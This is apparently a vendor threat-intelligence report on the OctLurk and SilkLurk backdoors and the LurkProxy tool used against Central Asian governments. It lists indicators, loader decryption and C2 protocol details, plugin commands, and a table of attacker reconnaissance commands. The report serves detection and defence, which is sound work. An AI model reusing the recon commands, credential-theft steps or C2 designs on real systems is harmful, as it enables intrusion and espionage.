18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe
9a1dd1d96481d61934dcc2d568971d06 7z.exe
C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe
C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll
C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res
C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe
We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.
The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.
Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.
The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.
The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.
In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.
After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.
We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.
The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.
The double‑XOR decryption uses two distinct multibyte keys:
The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.
The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:
To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:
The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.
The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.
The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.
OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.
The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.
| Plugin type | Description |
| File Manager | ● case 0x10020: for each drive, retrieve the following information: volume GUID path, drive letter, volume name, file system name, drive type, volume serial number, total size in bytes, and free space in bytes. ● case 0x10030: search for a file that matches a specified name and retrieve the following information: file attributes, creation time, last access time, last write time, file size, the file’s name, and its short (8.3) name. ● case 0x10040: recursively list all files in a specified location, including only those whose size, creation time, last write time, and last access time fall within the threshold values defined by C2. For each listed file, retrieve the following details: file attributes, creation time, last access time, last write time, file size, file name and alternative name for the file ● case 0x10050: use the ShellExecuteExW API to open the specified file path, which may be an executable, a document, or a folder. ● case 0x10051: execute the specified command line using the CreateProcessAsUserW API. ● case 0x10060: perform the following file‑system operations: copy, delete, move, and rename — using the SHFileOperationW API. ● case 0x10070: create a directory. ● case 0x10080: set the attributes for a file or directory. ● case 0x10090: for the filename provided by C2, set the file created, last accessed, and last modified timestamps to the values received from C2. ● case 0x20010: get the size of a file. ● case 0x20020: read a file from the system in chunks, starting at a specified offset. ● case 0x20030: calculate the CRC32 of each file data chunk, and retrieve the file created, last accessed, and last written times. ● case 0x20040: close the file handle and free the associated metadata (file path, handle, and size). ● case 0x20110: create a file at the specified path and write the bytes received from C2 into it. Then set the file created, last accessed, and last modified times using the timestamps supplied by C2. |
| Command Shell | ● case 0x3E9: launch cmd.exe as shell.● case 0x3EA: send the exit command to close the command shell.● case Default: if a command string is received from the C2 and the shell is running, write the command to the shell. Then read the shell’s output and send it back to the C2. If a command string is received from the C2 server and the shell is not already running, execute the command using C:\Windows\System32\cmd.exe /S /C "<command_string>" > %TEMP%\tmp%d%x.tmp where %d and %x are random values. Afterwards, read the output from the temporary file tmp%d%x.tmp and then delete the file. |
| Interaction Manager | ● case 0x3E9: capture the entire screen as a BMP image. ● case 0x3EA: capture the entire screen at specified intervals. ● case 0x3EC: retrieve clipboard data. ● case 0x3ED: copy the data to the clipboard. ● case 0x3F3: MOUSEEVENTF_LEFTDOWN: set the cursor to the specified position and press the left mouse button. ● case 0x3F5: MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP: move the cursor to the specified position, then press and release the left mouse button. ● case 0x3F6: MOUSEEVENTF_RIGHTDOWN: set the cursor to the specified position and press the right mouse button. ● case 0x3F7: MOUSEEVENTF_RIGHTUP: set the specified cursor position and release the right mouse button. ● case 0x3F8: MOUSEEVENTF_MOVE: move the mouse cursor to specific coordinates, simulating a mouse movement event. ● case 0x3F9: MOUSEEVENTF_WHEEL: move the mouse wheel by a specified amount. ● case 0x3FD: press the key indicated by the virtual‑key code. ● case 0x3FE: KEYEVENTF_KEYUP: release the key identified by the virtual-key code. ● case DEFAULT: MOUSEEVENTF_LEFTUP: move the cursor to the specified position and release the left mouse button. |
The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:
The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.
The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.
| Command | Description |
| chcp 1256 | Changes the system’s code page to 1256, which supports Arabic characters. |
| powershell $PSVersionTable | Retrieves the version information of PowerShell. |
| qwinsta | Views all active sessions on the local machine. |
| klist sessions | Displays a list of logon sessions on this computer (Including Kerberos). |
| TASKLIST /V | Lists all running tasks with detailed information. |
| findstr /i /c:”explorer.exe” | Searches for explorer.exe in a case-insensitive manner. Used together with TASKLIST /V. |
| wevtutil qe Security /f:text /c:5 /rd:true /q:”*[System[(EventID=4624)]] and *[EventData[Data[@Name=’LogonType’]=10]]” | Retrieves the last 5 events from the Security event log where the event ID is 4624 (successful logon event) and the logon type is 10 (remote interactive logon e.g., Remote Desktop Protocol). |
| powershell “ipconfig|select-string v4 -context 1,3” | Uses PowerShell to filter ipconfig output for IPv4 addresses. |
| ipconfig /all | Displays detailed network configuration information. |
| WHOAMI /all | Displays detailed information about the current user, including their security identifiers (SIDs), privileges, group memberships, and authentication details. |
| WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | findstr “=” | Retrieves information about installed antivirus software. |
| powershell Get-NetTCPConnection | Retrieves information about TCP connections. |
| netstat -ano | findstr LISTENING | Shows listening ports. |
| netstat -ano | findstr ESTABLISHED | Displays established connections. |
| cmd.exe /c netstat -ano | findstr “EST” | findstr -v 127.0.0.1 | Filters established connections excluding the loopback address. |
| powershell.exe “get-wmiobject -query ‘select * from win32_process’ | Select-Object ProcessId,ProcessName,CommandLine,ExecutablePath,CreationDate | Where-object {$_.ProcessId -eq 500} | Format-List” | Retrieves detailed information about a specific process. |
| reg query HKLM /s /f “ProfileImagePath” /t REG_EXPAND_SZ | Searches the Windows Registry under HKEY_LOCAL_MACHINE (HKLM) for entries where the value name is “ProfileImagePath” and the type is REG_EXPAND_SZ. It points to the location of a user’s profile folder. |
| cmd.exe /c dir /b c:\users | Lists the contents of the C:\Users directory. |
| wmic startup get caption,command | findstr exe | Filters startup items for executable files. |
| powershell “get-MpComputerStatus” | Retrieves the status and configuration details of Microsoft Defender Antivirus (formerly Windows Defender) on a Windows system. |
| reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” | Queries whether Microsoft Defender antivirus’s tamper protection is enabled. |
| reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s | Queries exclusion settings for Microsoft Defender Antivirus. This is where you can configure files, folders, processes, and extensions that should be excluded from being scanned by Defender. |
| wevtutil gli Security | Configures the Security event log. |
| wevtutil gl Security /f:xml | Retrieves events from the Security log in XML format. |
| wevtutil gli “Windows PowerShell” | Configures the Windows PowerShell event log. |
| wevtutil gl “Windows PowerShell” /f:xml | Retrieves events from the Windows PowerShell log in XML format. |
| wevtutil gli System | Configures the System event log. |
| wevtutil gl System /f:xml | Retrieves events from the System log in XML format. |
| schtasks /query /fo LIST /v | findstr “TaskName> Status> ‘Task To Run’> ‘Run As User’>” | Lists all scheduled tasks in verbose mode and extracts the following fields: Status, Task To Run, Run As User, and TaskName. |
| systeminfo | Displays detailed system information. |
| powershell “Get-WmiObject -Class Win32_BIOS | Format-list” | Retrieves BIOS information. |
| powershell “Get-WMIObject -Class Win32_PhysicalMemory | Format-list” | Retrieves physical memory information. |
| powershell “Get-WMIObject -Class Win32_Processor | Format-list” | Retrieves processor information. |
| powershell “Get-WMIObject -Class Win32_DiskDrive | Format-list” | Retrieves disk drive information. |
| netsh interface ipv4 show interfaces | Displays information about IPv4 interfaces. |
| powershell “gwmi Win32_NetworkAdapter | Format-list” | Provides hardware-level and driver-level information about adapters. |
| powershell “gwmi Win32_NetworkAdapterConfiguration | Format-list” | Provides network configuration details, such as IP address, DNS, DHCP status, etc. |
| ipconfig /all | Displays detailed network configuration. |
| netstat -e -s | Displays detailed network protocol statistics. |
| certutil -urlcache | Displays URL cache entries. |
| ipconfig /displaydns | Displays the contents of the DNS client resolver cache. |
The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.
Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.
Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.
The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.
The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.
Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.
The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.
%ProgramFiles%\_agent)Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.
The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:
In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.
| Offset | Data | Type |
| 0x00 (00) | Unused | – |
| 0x08 (08) | Packet control flags. Bit 0 indicates high priority packet, bit 1 indicates single packet | bit array |
| 0x0C (12) | Command number | int |
| 0x10 (16) | Handler number (unique identifier for each proxy client in the first mode) | int |
| 0x14 (20) | Command integer argument | int |
| 0x18 (24) | Unused | – |
| 0x1C (28) | Data 1 payload size | int |
| 0x20 (32) | Data 2 payload size | int |
| 0x24 (36) | Data 1 byte stream | bytes |
| 0x24 (36) + N | Data 2 byte stream | bytes |
LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.
Mode 1: SOCKS5 proxy
When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.
Mode 2: transparent proxy
In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.
| Command ID | Direction | Description | Arguments |
| 0x1000010 | Implant -> C2 | When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration | Target port in command integer argument UTF-16 encoded connection hostname in data 1 |
| 0x1000010 | C2 -> Implant | Used to control the session, allowing it to pause or stop proxying | Action in command integer argument (1 to pause, or any other value to terminate) |
| 0x1000030 | Implant -> C2 | Sent when the LurkProxy is shut down | – |
| 0x1000050 | Implant -> C2 | Forwards the received bytes from the client to C2 | Raw TCP bytes in data 1 |
| 0x1000050 | C2 -> Implant | Forwards the received bytes from the proxy target to the client | Raw TCP bytes in data 1 |
The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.
SilkLurk loader working logic
The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.
Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.
SERVICE_WIN32_OWN_PROCESSSERVICE_AUTO_STARTSERVICE_ERROR_NORMALOn service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:
| Shellcode offset | Description |
| 0x000 (0) | Stub code, which performs reflective code injection |
| 0x770 (1904) | Hardcoded value 0x11113F68, XORed with the computer name hash |
| 0x774 (1908) | Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs |
| 0x775 (1909) | Size of the encrypted backdoor |
| 0x779 (1913) | Encrypted backdoor data blob |
The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.
The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.
During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.
During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.
The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:
| Offset | Description |
| 0x00 (000) | C2 Host 1 |
| 0x64 (100) | C2 Host 2 |
| 0xC8 (200) | C2 Host 3 |
| 0x12C (300) | C2 Host 4 |
| 0x190 (400) | Port for C2 Host 1 |
| 0x192 (402) | Port for C2 Host 2 |
| 0x194 (404) | Port for C2 Host 3 |
| 0x196 (406) | Port for C2 Host 4 |
| 0x198 (408) | Unknown 21 bytes |
| 0x1AD (429) | Proxy address 1 |
| 0x22A (554) | Proxy username 1 |
| 0x2A7 (679) | Proxy password 1 |
| 0x324 (804) | Proxy address 2 |
| 0x3A1 (929) | Proxy username 2 |
| 0x41E (1054) | Proxy password 2 |
The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:
CONNECT %s:%d HTTP/1.1 Proxy-Connection: Keep-Alive Host: %s:%d Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0x0C7FFBE86h (magic dword) |
| 0x04 (04) | 0x04 (04) | 0 |
| 0x08 (08) | 0x20 (32) | Network key (will be used to encrypt and decrypt network traffic) |
It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x08 (08) | data_size (encrypted_key_data + random_bytes_size) |
| 0x08 (08) | 0x04 (04) | data_size XORed with 0x39 |
| 0x0C (12) | 0x28 (40) | Encrypted network key data (as mentioned in above table) |
| 0x34 (52) | size between 0x14 (20) and 0xB4 (180) | Random data bytes |
After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | 0xC7FFBE86 (magic dword) |
| 0x04(04) | 0x04 (04) | Message type (1 means victim information) |
| 0x08 (08) | 0x04 (04) | Data size (size of encrypted victim information) |
| 0x0C (12) | 0x01 (01) | Compression flag (1 means compressed) |
| 0x0D (13) | 0x02 (02) | Size of random bytes, between 0x14 and 0x96 bytes |
Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.
<random_dword><encrypted header><encrypted victim information><random bytes>
Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.
| Field offset | Field size (in bytes) | Field value |
| 0x00 (00) | 0x04 (04) | Random dword |
| 0x04 (04) | 0x0F (15) | Encrypted header data |
The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.
The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:
| Command (message type) | Description |
| 03 | Based on subcommand, perform the following operations: 00: Get target system’s local time 01: Set sleep time in milliseconds, after which to reconnect to the C2 server |
| 04 | Send current backdoor configuration |
| 05 | Update backdoor configuration |
| 06 | Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations: 01: Inject payload (plugin) bytes into memory and execute payload’s entry point 03: Call export method of injected plugin |
The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.
Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.
| WinRAR | 18dc8bff47cc282508354771d0c8cf8c | C:\Users\[username]\Libraries\RecordedTV.exe C:\Users\[username]\Libraries\recordutil.exe |
| 7Zip | 9a1dd1d96481d61934dcc2d568971d06 | C:\windows\vss\7z.exe |
The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.
C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164) C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69) C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file
Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.
PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.
| Config field name | Value |
| Injection Target Process | %SystemRoot%\system32\svchost.exe |
| Home Directory | %ALLUSERSPROFILE%\Symantec |
| Persistence Name | SymantecRAS |
| Service Display Name | SymantecRAS |
| Service Description | Symantec RAS Services |
| Campaign ID | KG_MFA |
The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.
We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.
